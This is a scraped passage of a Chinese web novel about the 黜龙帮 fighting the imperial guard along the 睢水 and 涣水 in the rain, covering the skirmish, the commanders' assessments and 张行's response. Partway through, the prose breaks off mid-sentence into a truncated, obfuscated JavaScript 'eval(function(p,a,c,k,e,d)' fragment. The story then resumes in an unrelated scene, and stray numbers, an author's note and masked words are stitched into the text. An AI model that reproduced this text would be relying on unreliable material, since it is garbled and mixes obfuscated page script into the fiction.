此举反而有了奇效……埋伏的禁军欺她是个年轻女娃,更兼是在树林中,似乎觉得可以生擒,便弃了**机第二轮攒射,纷纷扑出,尝试肉搏。 然而,这些人既小看了这位小娘的马术武艺,也小瞧了对方的修为,窦小娘在马上挥舞长剑,七八尺的离火真气顺着剑锋扬起来,既如实物与对方铁甲金戈相交,又有火焰不停逸散熏烤对方口鼻,居然是以一对多丝毫不落下风,搞得这些禁军也很快就没了气势。 随即,窦小娘只是窥到一个破绽,纵马一跃,飞过一个大树桩,在树林中转了几个弯,便成功逃离。 而其人既逃出树林范畴,在外面遇到了等待自己的部属,不由劈头盖脸来问:“荀参军,可有人战**?伤了几个?战马呢?” “回禀队将!”相当于副手之一的随队参军在雨中勒马相对,立即回复。“沈二郎与李大哥当场便**,冯十五郎的马伤了,其余有人丢了些物资器械,还有赵七郎几个人因为路滑摔了跤落了马,但总体应该无碍……其余就再无了。” “就再无了?”被雨水淋湿了头发的窦小娘明显一愣。 “确实再无了。”参军努力来对。“除了沈二郎与李大哥的事情,这禁军还不如这淮北的雨厉害!” 窦小娘还是不能理解,如果禁军是废物,如何能策划这么成功的包围,而且成功完成**矢攒射?如果他们不是,为什么就造成了这点伤亡?而且,两名队友当场身亡又算什么,这本身跟没有其余伤亡对不上好不好? 实际上,若非是包括沈二郎这位准备将在内的两人当场**,窦小娘也不至于惊慌到那份上。 不过,这参军此时明显有了计较,立即给出了猜想:“队将,我们一起看了下,都觉得可能是**机的问题。” “**机?” “不错,他们应该是**机受潮。”参军解释道。“大家不是没有中**矢,但按照各人说法,大多数都射偏了,然后遇到湿掉的甲胄滑了过去;还有几个是挂到蓑衣上的,我们则亲眼查看了,似乎也少了些力道,连蓑衣都射不透……而沈二郎跟李大哥就是纯粹倒霉,正中要害……沈二郎是咽喉,李大哥是腋下。” 这解释似乎可行,但窦小娘还是不解:“**机也会受潮?” “木头**机会潮。”参军进一步补充。…. 窦小娘愣在雨中,许久方才抹了一把脸:“禁军也用木制**机?” “不然如何会这个样子?”这一次,参军只是摊手。 小娘勒马原地转了一圈,想到此番南下接到的新命令,便立即下令:“派人将这个事情送回身后十里铺!天王与李龙头都在那里!其余人将尸首暂且撇下,随我回去,务必抢几个**机到手!” 这次轮到参军有些茫然,但还是迅速辅助下令,大约两三骑特意先后出发,往十里铺而去。 待到这些信使离开,其余人也都重新装备整理完毕,临出发前,窦小娘看了看头顶根本不停的雨水,却又补充了一个命令:“全都套上蓑衣,再进去搜寻。” 巡骑们自然依令而为。 事实证明,刚刚抵达睢水北岸的李定对这个情报的重视远超想象,他几乎是第一时间便从刚刚落脚的十里铺出发,而且只带了十几骑,还让雄伯南也只骑马,不做招摇。 十里铺,不是得名于距离某座城池十里,而是距离睢水一处浅滩十里,所以距离其实颇近,再不顾及马力与雨天风险的情况下,距离之前那场埋伏战不过半个时辰,黜龙帮前线地位最高的两人便带着随员冒雨驰马来到了这个小树林的外围。 然后,雄伯南立即就察觉到了树林中的动静,便要动手。 “天王不要动。”李定当即阻止了对方。“也不要其他人支援,我们就在这里等。” 雄伯南一时不解:“李龙头何意,不是要看**机吗?” “**机不会跑,人会。”李定面无表情。“既然来了,他们又没跑,何妨看看这群禁军战力如何,军心如何?让他们跟这队巡骑打便是,生死各安,咱们不要插手,只看结果。” 雄伯南一面醒悟过来,一面却又忍不住当场蹙眉……有些事情就是这样,照理来说,这是军队统帅测试双方部队战力,找出破绽确立战术的正常行为,属于战术侦查的一部分,所谓慈不掌兵嘛。唯独明明自己都过来了,还要放任帮内自家兄弟平白拿性命做验证,不爽利就是不爽利。 而就当雄天王有些焦躁的看了眼面无表情的李龙头时,心中却又微微一动,因为他刚刚顺理成章的想到了张行张首席……李定视人命为胜负之余料,自己觉得兄弟更重要做不出来这种事,那张首席呢? 答案非常简单,张首席肯定是不到万不得已时绝不做这种事情,非要做了,也一定要跟上下说清楚,讲明白做这种事情的必要性。但是,张首席在这里见到李定这么干,怕是也不会阻止,只不过要替李定做解释,安抚自己这种人。 仔细想想,张首席不顾下面兄弟们的情绪,一意将李定这个降人摆在了这个位置,很多人都拿这位李龙头和张首席之前的交情说话,却恐怕落了下乘……交情是有的,但如果说交情,为什么秦宝只是个舵主领队将职务?要知道,贾闰士没放出去前,可是以头领身份来作为的,那贾闰士那个年龄,都能因为要照顾济水下游降人而给一个头领,凭什么秦宝不行?…. 所以,淮北初夏标志性的绵绵雨中,连胡子都没沾到水的雄伯南微微眯眼,一个念头呼之欲出——张首席就是知道这么做是对的,但包括他自家在内的帮里人都不乐意这么做,所以才把这个人请过来,然后摆在这个位置上的。 就是要这个人做这个事情。 不过这又何妨呢? 陈斌、谢鸣鹤当年也是如此,但如今如何不是帮中干城?便是自家,当年入帮,难道没有类似说法? 既入得帮内,便如这雨水绵绵,终究要汇入河流的。 李定不知道雄伯南的胡思乱想,也不晓得雄伯南总能自信的绕到黜龙帮本身的强大上,只是勒马在树林外等待,而树林内,战斗也果然有些激烈——事实证明,禁军的**机确实多为木质,只有少数还是之前的精钢**机,这使得他们在树林中对付骑兵的最大利器其实无用,最终演变为了白刃肉搏。 而一旦展开白刃战,双方其实各有优劣。 巡骑有马,哪怕树林中加雨中机动优势被大大削弱,也依然有高度优势,还有窦小娘这个强点;禁军则干脆一些,就是人多,他们有足足一百多人,这是正经的一整队人,巡骑却因为是骑兵编制只有数十人。 不过,树林内的战斗还是迅速结束了。 原因很简单,这里是睢水以北。 睢水并不宽大,夏日雨水没有存起来之前,浮桥浅滩多得是,非常容易往来。但是,已经持续了足足三四日的频繁小规模战斗,还是隐隐制造了一条双方心照不宣的分界线,就是这条睢水。 故此,敢过睢水挑衅作战的自然是好汉,是英杰,可反过来说,睢水对岸对自己一方还是过于危险。 于是乎,树林中这支埋伏不成然后又被反扑的禁军在持续进行了大半个时辰的激烈战斗后,在付出了大约四五条人命和七八个伤员的代价以后就撑不住了……不是不能继续打下去,实际上,对面的骑兵也被他们打杀了两三人,打下去未必谁胜谁负,可问题是若是再打下去,耗到天黑,或者等来黜龙帮的其他援军,那可就没法回对岸了。 这群禁军可不知道,外面有个脑子有病的黜龙帮龙头,不准援军过来的。 李定立在马上,看着这支禁军队伍有序撤出了树林范畴,往睢水方向而去,一面勒马缓缓跟上,一面头也不回吩咐:“现在还是不要动,看看追击效果,看他们渡河是否迅速,等他们跑到河对岸再动手截下来。” 吩咐完了,才察觉到自己语气不对,因为这个吩咐是直接对着雄伯南的,而依照人家雄天王在黜龙帮里的地位与威望,怎么都不是在自己这个降人龙头之下的。 于是,其人便要回头稍作缓和,但甫一回头,正看见对方坦然点头,反而又懒得说话了,只将注意力迅速重新放回到了前方的战斗中。…. 树林外,禁军全伙逃了出来,前头大约百十人,乃是维持了一个大略阵型,用几头驴子兜住自家伤员放在最中间,弓**兵、短兵环绕先行,后面则分了两组人,每组都有约莫二十来人,各持长兵盾牌,轮番接应,以作断后。 而黜龙军骑兵追出,上来便因为交战与对方后卫混做一团,完全没有绕行侧击前方虚弱方阵的意思。 如此巨大的战术素养差距,莫说李定,便是雄伯南也紧蹙眉头,难得主动开口:“怪不得交战到现在,我们败多胜少。” “到底是汇集天下精华而成的东都骁锐。”李定却只是叹气。“也算意料之中……否则的话,小股作战,巡骑里又有那个小娘在,早该分出胜负的。” 雄伯南扫到挥舞真气愈发勇猛的窦小娘,立即点头……这种级别的战斗,只要这个修为颇高的小娘不顾一切迅速杀伤个几人,对方会立即撤退才对……拖到现在,已经足够说明问题了。 不过…… “那是……窦龙头的女儿?”雄伯南忽然认出了那小娘。 “不知道。”李定反过来皱起眉头。“窦龙头女儿身手这般俊俏吗?” “确实是。”雄伯南叹了口气。“巡骑队长的身份对得上……之前没说,还以为是别的巡骑队。” “若是这般,雄天王还须看顾些,不要让人家出了岔子。”李定依旧蹙眉。 “我还以为李龙头依旧大公无私呢……”雄伯南不由失笑。 “不是说要私,而是若为这事平白让人**,惹来身后不稳,反而废了局面。”李定也主动稍作解释。 而也就是两人说话期间,前方战斗局势渐渐发生了变化。 要知道,虽然战术高下立判,但到底是禁军在撤退,黜龙军巡骑在追击,后者在平原地带仗着骑兵优势始终咬住不松口,而前者在两股后卫连续两三次交替后,终于因为雨天湿滑与沉重盔甲影响到了战术动作,以至于两股后卫合为一体,再难展开。 不知道是不是已经被雨水淋蒙了,窦小娘今天一打起来就忘记思考,现在也是如此。不过,战场之上的要素不止是指挥官的及时思考,她依旧能够维持某种微妙的战场感触——当对方两股后卫混为一体后不久,这位年轻的巡骑队长便察觉到了对方阵型的散乱,以及对方后卫动作的沉重与迟疑。 相对而言,凭借着对马力的消耗,以及身上的蓑衣,巡骑这一方居然保持了一部分体力。 片刻后,听到对方明显沉重的呼吸后,刚刚完成交马一合的窦小娘忽然掉头加速,朝着前方敌军唯一一个骑马的军官再度冲锋过去。 后者并非是这支禁军的队将,而是队中一位战斗经验丰富的奇经高手,此时其人见到窦小娘逼迫不断,一时心惊,却还是凭借着战斗本能举起长矛,准备再度迎上。然而只是一举矛,他便察觉到自己双肩的酸痛,以至于当场吓得脑中一片空白。…. 毕竟,经验丰富如他,如何不晓得这个时候力气虚脱意味着什么? 于是乎,其人毫不犹豫,居然当场拖着长矛,越过后卫,打马往更前方的方阵那边去躲……或者说是逃窜。 窦小娘见状,晓得是机会,也丝毫不让,硬是纵马追上。 双方一前一后,不晓得是窦小娘体重更轻还是马术更好,又或者是那人雨中掉头,加速稍慢,小娘居然抢在对方进入方阵之前便追上,然后直接挥舞长剑,释放真气,朝对方后腰砸去。 不过,真气尚未砸到对方身上,窦小娘便觉得一股巨力从身前涌来,只赶紧双腿运行真气锁住马鞍,勉强定身没有**,而前方那人则没有这个修为和运气了,只是在马上一个晃动,便整个人从马上扑落。原来,居然是追的太紧,且泥地打滑,以至于两匹马先行撞了一下。 不管如何,窦小娘知道痛打**人的机会在此,立即强行勒马,便又要挥舞长剑将对方斩杀于此地。 然而,裹着离火真气的长剑再度挥舞,尚未落下,下方**之人便匆匆举起空空如也的双手高喊起来:“莫杀我!我愿投降!” 窦小娘也觉得脑袋一空,当场愣住,这就降了?! 而愣归愣,反应过来后,小娘一剑挑飞对方长矛,便喝令起来:“往边上去,不然立即杀了!” 那人翻身起来,居然真的抱着头狼狈往一侧一颗树下而去。 目睹这一幕的禁军当场动摇,阵型愈发散乱,而巡骑骑士们则不由振奋起来,纷纷仿效,勒马冲撞外围落单之人。 一时间,虽有禁军队将以下军官不停呼喊下令,却还是止不住双方情势逆转。 须臾片刻,四十人的后卫便已经被逼杀、逼降了七八个,所幸,前方方阵已经来到了睢水旁,便毫不迟疑,纷纷下水,准备从一处浅滩上逃离。 这个时候,又出现了意外,前面的禁军士卒倒也罢了,几头用绳索相连的驴子入水,忽然其中一头一个踉跄,直接带着背上伤员滑倒,往下游而去,引起的其余几头驴子也被拽倒,莫说驴子驮着的人,前后禁军军士皆被裹住,后方没有入水的军士们更是堵塞猬集一团。 到此为止,后方的禁军后卫再不能忍受,纷纷弃了阵型往河畔逃来。 结果就是,黜龙军巡骑顺势跟上,就在河畔追上,逼的禁军彻底失措……有人降,有人顺着河流往上下游逃窜,还有的干脆入水,却又因为准备不足落入深水区。 原本势均力敌的战斗,忽然就演变成了一方全胜,一方溃散的结果。 李定一言不发,看着这一幕,直到有禁军成功抵达对岸,方才回头瞥了雄伯南一眼。 早就振奋起来的雄伯南会意,整个人离开马匹腾跃起来,天空中陡然出现了一面紫色帷幕,就往河对岸卷去……见此情形,黜龙军巡骑欢呼不断,禁军却彻底气馁,干脆投降。…. 整场战斗,不过百人级别的小规模战斗,即便是因为雄伯南的出现造成了对方成建制的降服,也对整体大局没有多少影响,但到了此时,之前观战时一直蹙眉的李龙头却居然兴趣盎然起来。 他打马上去,先是检查**机,果然发现这队禁军的**机居然只有两柄是全副精钢打造,其余多有木造配件;再去看雨具,几乎只有几位军官有雨具;然后又去看对方唯一一匹战马,检查了马的牙口与蹄铁;至于其余甲胄、军械,也都细细过了一遍。 这还不算,他甚至亲自下水,往睢水的浅滩中走了一个来回,还请雄伯南出手捞上来两匹淹死的驴子,检查了驴子的体格以及驴子背上伤员的伤口、所驮货物的具体成分。 最后,当然免不了审问俘虏,却反而没有耽搁太长时间。 饶是如此,一圈折腾下来,已经快要天黑了,李龙头更是一言不发,直接上马离开,窦小娘等人也赶紧收了之前的振奋,只催促俘虏跟上,往十里铺押送而去。 “如何?”因为下雨迅速转入的暮色中,雄伯南主动跟上,面露希冀。 李定也给出了判断:“条件 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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李定沉默片刻,正色来道:“我见你入了黜龙帮后如鱼得水,正好有个事情,为师想听听你的言语。” “师父请讲。”苏靖方恭恭敬敬。 “我才来睢水第一日,便见到一场交战,虽是孤例,却也有些说法……譬如禁军锐气仍在,实力仍存,但军械荒废四年,其实已然敷衍;对梅雨的准备也不足;战马奇缺……种种事端吧,虽然都已经料到,但也比之前的预料还要猛烈一些……这些东西叠在一起,便使得他们的军心其实比我预想的更加不足,想来若要交战胜算也明显,我便有了主动求战的意思。”李定稍作解释。“可是,临到此间,却又不晓得该不该给你张师叔写信要求主动作战了。” 苏靖方想了一想,不明所以:“想要作战,难道还能绕过张师叔?还是说师父对此战尚有考量?” “考量必然有,但接下来还会再看一看。”李定平静道。“我说的这个主动求战是说有了这个可能性,要追加一个主动求战的计划……怎么决断,还是他的事情。” 苏靖方又想了一想,更加不明所以:“那就直接写信给张师叔便是,为何要疑虑?” “我也不瞒你。”李定沉默片刻,坦诚向自己的学生。“一则,从军务上说,我其实还是觉得有些居于人下,不能自行其是来做军务;二则,从政务上讲,我又有些忧虑自己过于依附你师叔,又与其他人对立,使自己不能在黜龙帮内立足。” 苏靖方三度想一想,终于醒悟,敢情就是跟自己入了黜龙帮如鱼得水相反,自家恩师还是没适应……既忍不住的想领大军打大仗,又明显察觉到自己不能服众,担心自己不能立足。 一念至此,小苏倒也干脆:“师父,从第一个来讲,你便是想要自行其是,也要等自己立足妥当后才行,否则人家黜龙帮自家四年辛苦累积的本钱,凭什么交给你来掷?现在,只能先寻张师叔张首席,让他来做你保证。” 李定想了想,虽然不甘心,但还是颔首。 “而从第二个来说,我反而觉得恩师有些想多了,现在师父只是初来乍到,人心不服是正常的,将来必然无碍的。”苏靖方依旧宽心。 “你是想说你师叔地位稳固,无人能动摇,我可以在他羽翼之下,安然为之?” “此其一也。”苏靖方笑道。“无论如何都不能说咱们没有师叔的遮护。” “那其二呢?” “其二便是,与其他人对立也无碍恩师立足。”苏靖方稍微敛容。“不然,谁能动摇师父?须知,师父非是师父一人,乃是三郡七营的规制,自成一体。” “雄伯南如何?”李定脱口而对。 “雄天王虽只挂了个大行台副署的名号,但人尽皆知,他是帮内唯一宗师,是军法总管,素来主管军中赏罚,威望几乎只亚于张师叔,若说真有人能阻碍师父立足,怕真就是他。”苏靖方脱口而对。“但雄天王之所以如此威望,正在于他赏罚分明之余义气过人,这种人若是专门来寻事对付师父,反而要失了他自家在帮中立足根基,又怎么会如此呢?”…. “那陈斌呢?”李定点点头,继续来问。 “陈总管名为总管,其实是做的南衙庶务,算是帮内文职宰相,确实位高权重。”苏靖方笑道。“但可惜,恩师立足之道是军中,与他所掌庶务岔了道。而且,他自家在帮中立足都有些艰难,哪里有心思杯葛跟他岔道的师父你呢?” 李定继续面无表情点头:“那几位龙头呢?魏玄定?” “魏公年长,李枢去后,就数他资历最为深厚,而且地盘跟我们紧挨着,但他没有自己的班底,头重脚轻,根本不是老师的对手。” “魏公不行,自然柴孝和也不行;雄天王不行,自然单大郎也不行……但窦立德如何?”李定眯着眼睛来看自家学生。“窦立德不是声势日重,有冠绝河北之态?” “窦立德素来得人,河北豪杰也都服他,隐隐是河北第一大山头,而且依着此人往日行径,必然会尝试经略汇集帮中所有河北豪杰,偏偏帮内的大出路就是要先定河北,将来帮内河北豪杰必然越来越众,再加上我们这个行台也算河北所属,所以他还真是个威胁。”苏靖方不由再笑。“但他势头猛是不错,麻烦和弱点也多……陈斌陈总管是他的对头;魏玄定魏公其实是分了他的势;单大郎据说跟他走到一起去了,可实际上单大郎只是与他没有冲突,真到了要害关键,未必与他同路,因为河南河北还是有些分歧的……不过,这些都无所谓,因为他在师父面前有一个天大的破绽,使他天然只能拉拢师父,而不是与师父对抗。” “怎么讲?”李定是真好奇了。 “他不会打仗。”苏靖方摊手以对。“剪除暴魏,安定天下,这话说的清楚,那就是现在还是立业之时,大部分事情还是要靠刀兵来做的,可他偏偏不会打仗!不会打仗,说句不好听的,帮内看不起他的武夫头领也多得是!遑论服从?而师父最擅长的就是打仗!试问帮内,谁能代替师父,自行其是?” 李定心中微动,脱口而出:“徐大郎。” “正是徐大郎。”苏靖方也连番颔首。“若真有人能使恩师有些立足不能,便是徐大郎占了七成,因为这个人是打仗的主力,资历也足,李枢去后,帮中河南豪杰也多服从他多一些……但还是要看战场上的本事,看他能不能代替师父,主导军略。不过我觉得,他不如恩师。” 李定幽幽不语,外面雨水带来的腥气依旧鲜明。 过了好一阵子,其人方才回过神来问到:“那你觉得,便是我们有了几分胜算,这一仗可能打起来吗?” “恕在下直言相告。”苏靖方恳切以对。“张师叔大概会认可订立对应的新计划,却依然坚持原来的策略……敌主力不犯界,我们便不反击……所以,这一战能不能打起来,还是要看禁军怎么想。” 两日后,五月初一,禁军主力经过数日的辛苦冒雨行军,抵达了对张行等人熟悉而又陌生的涣口镇。 司马化达总算能安心喝一杯了。 PS:感谢老学长的白银盟……委实惭愧,这本书一定会认真写完。 39314238. ... 第二十一章风雨行(21) “杀了我们的人,如何能轻易放过?” “其实还是我们胜的多一些,便是这一次雄伯南出手,最后也把我们的人放了回来。” “你什么意思?” “我的意思是,黜龙贼战力不足,应该是上一战确实伤到筋动到骨了,所以畏惧了我们。” “正是此意,按照这些天的交战经历来看,他们最多也就是十几个营的样子摆了过来,而且应该是为了凑整以至于有些良莠不齐。” “但骑兵应该都来了。” “若非是骑兵都来了,咱们早整营整营吃他们了!” “现在吃不下吗?” “能吃,可得按部就班,把城镇渡口都一个个弄下来,不然太危险,那几?骑兵营是一说,步兵营里也颇有几家是有章法的,头领也厉害……他们兵马不行,但上头的头领真不赖。” “这就说明摆在跟前的这十几个营是真的,真就是黜龙帮的正经底色,咱们是真胜过了他们。” “赖不赖的,胜不胜的,都该多弄些城镇下来才对,咱们雨具不足,粮食也发霉了……之前只窝在江都,不是没见过这雨,竟真没想过换到野地里这么厉害。” “这事得上心,雨具不足粮食发霉可不是难受的事情,是要得病的,要**的,就算活着,到时候打仗都软绵绵的。” “所以要往北面打?这不是节外生枝吗?你怎么知道人家这十几个营后面没有几十个营?!” “几十个营肯定有,可黜龙贼不用防着薛大将军跟司马大将军吗?而且这几十个营哪里能像前面十几个营全须全尾?这等兵马来支援,一则首尾不能兼顾,二则编制不全,三则越过梅雨跋涉,岂不是正中我们下怀?” “你们就这般想打吗?我们不是有盟约吗?” “有个屁!莫说已经打成这样了,便是之前去宣旨的虞舍人都被扣了,这算什么盟约?!还有白有宾,明显也是投他们了!全都抵赖不承认!” “有些事情装作不知道、不承认,就已经是个态度了,我们是官,他们是贼,还真以为要结盟吗?” “大家都是反贼……” “你可闭嘴……” “咳!徐州、涣口都过来了,若是以淮西为标的,都已经过半了,再加把劲,过了彭城、谯郡,不就到了吗?何必生事?” “既到了涣口,我多句嘴,跟着涣水走,走谯郡、梁郡、荥阳这条路,反而更快,因为官道跟官道不一样,河道跟河道也不一样,涣水这条河跟它挨着的官道本就是是朝廷用来转运江南、淮南赋税的,最适合大军行军……从这里走,大军其实比走淮西快得多,而且安全的多,因为根本不用像现在这样,部队还要散开在几十里地才能走的通。” “不错,如果往淮西去,是要一条河一条河过的,到时候我们的兵马会被这些河给分割开来,所谓害人之心不可有,防人之心不可无,须反过来防着人家下来切我们的后腰……反过来说,大家从涣水走,一起走西岸,就妥当的多。” “有道理,你看着淮右盟大堂的规制跟此地遗留酒楼的数量就知道了,当日都是靠这涣水。” “你们说的不对……现在部队散的开还是得怪吐万老将军,他在前面才一万多人,就把沿途的粮食跟雨具给拿光了,不散开走,莫说这些,连柴火都凑不起。” “这跟吐万老将军有什么关系?他的一万人也是人,终究还是我们人多,而且不愿意受约束……有城镇可以驻扎过夜,谁愿意露营?” “这倒是……” “且停停。”坐在上首主位的司马丞相忽然出声,打断了众人的争吵,并举杯相对。“诸位,咱们辛苦走到此间,借淮右盟的大堂躲躲雨,总归该先饮一杯,暖暖身子,祛祛潮气才对!” 说完,自站起身来,昂然饮一杯。 周围人不敢怠慢,自左仆射司马德克、右仆射司马进达以下,纷纷起身,齐声拜贺:“谢丞相。” 方才举杯共饮。 雨水中的淮右盟大堂,一瞬间仿佛回到了自己最荣光的时刻。 一饮既罢,司马化达方才落座,然后眯着眼睛来问左右:“?们争了半日,可有人跟我说清楚,到底争的什么?” 司马德克本欲拱手做答,却干脆闭口,只瞥向了对面的司马进达。 司马进达无奈,拱手做答:“回禀丞相,这几日冒雨前行,更兼与黜龙帮密集交战,堪称内外交困,所以颇有些人觉得应该弃了原定的计划,从涣口这里转向,不再去逆着淮上淮西,而是逆着涣水道走荥阳归东都,为此不惜与黜龙帮正式交战。” “就是这个?”司马化达完全不以为意,甚至有些不屑一顾。 “就是这个。”司马进达俯首恳切回复。 “那该不该转向呢?”司马化达继续来问。 司马进达先是长呼了一口气,然后看了看大堂屋顶那些没有来得及更换的残破装饰,又扭头看了看外面屋檐下的雨水,最后回过头来,在堂上许多将领的注视下朝自己兄长缓缓开了口:“我觉得没必要。” “为什么?”司马化达这次问的稍微认真了一点。 “因为黜龙帮虽然确实有些战力不足的样子,可我们也因为雨水有了明显损耗,这种情况下,与其冒着跟黜龙帮这种天下数得着的强梁一战的风险往北走,不如快点往西进入淮西那边,好做休整。”司马进达认真回复。“眼下的交战,其实只是摩擦,完全能看出来,黜龙帮那头掌舵的,也不想打。” 很显然,这不是司马右仆射临时做的结论,而是深思熟虑后的结果,也不是他一个人的意思,而是代表了政变核心队伍中彻底投靠了司马兄弟的那批人做的最终决断。 当然了,司马进达回复过程中的犹豫也能说明问题,但他还是给出了明确答复。 故此,昔日聚义堂主位上的司马丞相想了一想,也点了头:“那就这样,咱们赶快走!去淮西!” “那就这样吧,咱们得赶快走了。”还是五月初一,河北,将陵城外的大铁坊内,借着晴空**的光线,张行看完了手中信函,不由微微皱眉,然后抬头对身边几人言道。“去淮北!” “南面还是打起来了?”一旁的新任将陵行台龙头窦立德立即紧张了起来。“禁军果然朝我们腹地过来了?” “不是。”张行抖了下手里的信函,言简意赅。“禁军没有大规模越界,我们的人也没有主动挑起大战,只是李定李龙头去前线看了一眼,觉得对方有破绽,制定了一个南下突袭涣口,依托淮北水网分割禁军主力,吃掉对方一部分的计划罢了……而既有了这个计划,便是要否了他,也该立即去前面看一看,跟他说清楚的。” 话到这里,张行扭头看了眼秦宝:“二郎,咱们怕是来不及走白马去等你母亲与月娘了,要即刻从济北郡这边速速南下。” 秦宝点了下头,没有吭声。 而外务总管谢鸣鹤则正色来问:“那我现在要不要再跟过去?” “你不急,眼下在河北敷衍就好,真到了要做事的时候,怕也还是要往东都走,没必要再南下。而且从年前开始,你便没有好生休整过,也该歇一歇……倒是张头领,你虽刚刚从河间回来,却可以跟我再往南面去一趟。”张行扭头看向了张世昭。 “可以。”张世昭立即点头。“我这张老脸,也就是现在刚刚露出来的时候有点效用,晚了就没用了……其实老冯也行,甚至更好,因为他本就是从江都过来的,在那边人头熟。” “现在把冯公调过来会不会打草惊蛇?惊扰到薛常雄?”说话的乃是马围。 “马分管想多了。”张世昭捻须来笑。“将老冯从北面调出来,乃是寻常作为,如何会惊到薛常雄呢?要我说,不调他,说不得也会惊到薛常雄。” 马围一愣,当即醒悟:“是了!冯公刚降,不做调度是大度,做些调度也无妨。” 其余人也都是聪明人,几乎人人醒悟。 且说,之前李定迅速整军北上,联合部分之前的北面援军,三战三胜,迅速击败了王臣廓,并将对方驱逐进了山中,而大军压境之下,又是以援军姿态过来,本就动摇的冯无佚自然选择了配合与服从……从外面看也就是降了……然而,因为战事连续性的缘故,这个降是不尴不尬的降,是顺水推舟的降,并没有一个正儿八经的易帜或者说是公开文告。 这种情况下,黜龙帮把冯无佚带离赵郡,让对方做个表态,反而合乎情理。 甚至一举两得,因为黜龙帮也确实需要冯无佚的正式降服……他若能南下一起对付禁军,本身就是一个正式服从黜龙帮的动作了。 “真要是想迷惑薛常雄,可以让尉迟七郎继续送北地剩下那两家援军北归,往代郡走……”马围回过神来,继续提议。“让他以为我们胃口大,还想继续打下去,把注意力撤到河北的西北角上去。” “可以。”张行立即点头。“就是这几家的人情要记大了!” “也是没办法的事情。”马围努力来劝。“一南一北,白横秋、司马化达连在一起,太急了!” “唤冯公南下,几路北面援军一起往代郡走回家,还有吗?”张行点点头,继续来问。 “我觉得薛常雄未必会动,上次出动大军时他明显就已经心思疲惫,现在部队也疲敝,如何会再来?最该担心的还是东都的司马正。”谢鸣鹤认真提醒。 “所以马围不跟我走,他要去白马,几个军法部领着的营都在那里,雄天王不在,得有人抓走。”张行脱口而出。“哪怕知道司马正从那里出来的可能性不大,也还要摆出来并做防备。” 众人旋即沉默,马围更是有些无力……他这个人,聪明归聪明,但其实不是能拿乔做主的人,所以本质上更希望跟着张行或者留在某个组织架构中做个辅助,但现在还是要去独当一面,甚至是错位的独当一面。 但是没办法,这就是摊子铺大之后的结果,也是连续军事压力下的无可奈何。 要知道,之前那场死伤惨重的突围根本就是在二月中旬,下旬才结束了战斗,而四月开始,黜龙帮就在南线进入到了新的战备状态。 而且,这中间黜龙帮甚至重构了组织架构,还重组了六十一个营,动员了其中四十个营南下,以至于现在的局面是,四十个营猬集在南线,北线只有十几个营,西线只有几个营……典型的后方空虚。 这种情况下,要是没有错位什么的,反而奇怪。 甚至,出现大规模人事、军务、情报混乱,才是正常认知。 这种情况下,打破沉默的,赫然是张世昭,其人捻须来笑:“所以,首席还是不想打?” “老张怎么看出来的?”张行回过神来,也不由失笑。 “首席若是想打,反而不用顾虑这个那个了,直接压上去便是,这般纠结,便是不想打。”张世昭笑道。“最起码是犹豫。” “不错。”张行坦诚以告。“我是真不想打,真怕平白损兵折将……但李定说的也有道理,还是应该适当削弱一下禁军,不然这么多禁军进了东都,总要向外扩展,取些地盘以自养的,到时候还是要打。而现在的麻烦是,只怕我们跟禁军高层虽都不想打,却还在双方都模棱两可的情形下打了起来” “首席倒也不必纠结。”张世昭继续笑道。“我懂首席的意思,两支大军,几百里的战线,上头犹疑不定,下面将士心思不一,谁也不知道局势发展,什么情况都有可能发生……不过,真要是最后闹到稀里糊涂开了大战,也不会是平白冒出来的,他总有一个拐头,我们认真留意便是。” “说得好,他总有一个拐头。”张行点点头。“所以不管如何,咱们且南下吧!冯公他们可以后来跟上。” “不管如何,且南下吧!剩下的可以后来跟上。” 来到五月初二这日,涣水中游,距离涣口镇百余里的地方,芒砀山以西,对于黜龙帮而言非常危险的一个地方,忽然来了一位非常危险的客人――可能是北衙最后一位督公余烩。“禁军主力会沿着涣水进入谯郡,然后再西行,牛督公会在三十里外接应你们,咱们先去,跟司马丞相打个照面,好做后续……” “余公公喝茶。”内侍军首领王焯看着身前的昔日下属一口气说完,微微眯起眼睛,却没有直接接话。 余烩低头端起有些烫嘴的茶水,只喝了一口,便赶紧放下,然后继续匆忙来问:“不知道王督公准备何时让?侍军的爷们动身?” “一定要走吗?”王焯似笑非笑。 “为什么不走?”余烩明显不解。“牛督公之前还忧心你们是假投降,是张三郎派你们去做内应的,结果今日冒险送我过来,王督公你亲口对我说,张三郎亲自来见过你,许你们来去自由,若打不起来,真跟着禁军回东都也就回了……若真打起来,我们也无话可说……现在两头都约束着,张三郎这里大度,司马七郎那里也不想惹事,岂不正是回东都的好机会?” “关键是回东都又如何?”王焯还是似笑非笑。 “回东都,司马进达已经亲口许了我们,西苑给我们做安置……再加上东都的仓储极多,陈粮总是够得,不用忧心没有着落。”余烩苦口婆心。“而且牛督公还在,他在一日就能保咱们一日安全。” “牛督公连陛下都没有保全,如何能保我们?”王焯依旧是那副表情。 余烩终于有些诧异:“王督公是怨恨我们没有帮助陛下,坐视陛下**吗?” “当然不是。”王焯幽幽以对。“陛下把天下搞成那个样子,死多少次都不足为道,我是说,连陛下那种煊赫起点,都能在几年内落得众叛亲离、死葬树坑的下场,牛督公只以一身宗师修为做保,对我们这么多爷们,还有些宫人来说,又有什么用呢?” 余烩恍然,一时也觉得萧索,只能勉力来劝:“诚如王督公所言,可那又如何呢?天大地大,我们一群无根的人,哪里又能落地生根?大魏将覆,有牛督公替我们遮护个些许年月,年长的求个平安,年幼的在东都这个天下之元地等个新朝结果,也算是以逸待劳了……去别处,只会更糟。” 王焯还是不说话。 余烩见状无奈再劝:“老王,王督公,现在是你灰心丧气的时候吗?一则,你既已经送了降书,总要交代;二则,你既做了?侍军的首领,便要为这些爷们遮风挡雨;三则,退一万步讲,便是你现在变了卦,或者之前的降书是帮着张三郎做禁军的麻烦,可禁军到了涣口,便是马上往淮西走,也要擦着谯郡最南头的边,到时候大军稍一掉头,几十里地马上就能压到你这里……红山压顶之下,有什么可说的?” 王焯点点头,却又抬手:“余公公先喝茶。” 余烩无奈,只能再度捧起茶壶,这一次,茶水温软,居然适宜,再加上其人说了半日,早已经口干舌燥,便干脆牛饮而尽,然后以湿漉漉的袖口抹了下嘴。 这个时候王焯终于正色来言:“小余……余督公。” “不敢当。”余烩明显误会,赶紧起身。“王督公去了东都,还是要以你与牛督公为主。” 